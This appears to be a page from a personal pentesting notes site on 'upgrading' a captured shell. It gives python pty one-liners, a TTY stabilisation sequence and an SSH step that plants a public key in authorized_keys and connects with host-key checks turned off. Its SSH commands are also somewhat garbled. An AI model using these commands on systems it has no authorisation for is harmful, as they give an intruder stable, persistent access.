> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/misc/shells/upgrade-shells.md).

# Upgrade Shells

#### Windows

Set Env:&#x20;

```
$env:Path = 'C:\Windows\System32;C:\Windows\System32\WindowsPowershell\v1.0\;' + $env.Path
```

#### Python

```python
python -c 'import pty; pty.spawn("/bin/bash")'
```

#### TTY upgrade

(make sure not in rlwrap)

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm-256color
stty rows 50 columns 236
```

#### SSH&#x20;

```
mkdir .ssh 
echo "RSA.PUB" > authorized_keys
chmod 0700 .ssh
chmod 0644 authorized_keys
Ssh -o "UserKnownHostsFile=/dev/null" -N -o "StrictHostKeyChecking no" -i "c:/Software/key"
```
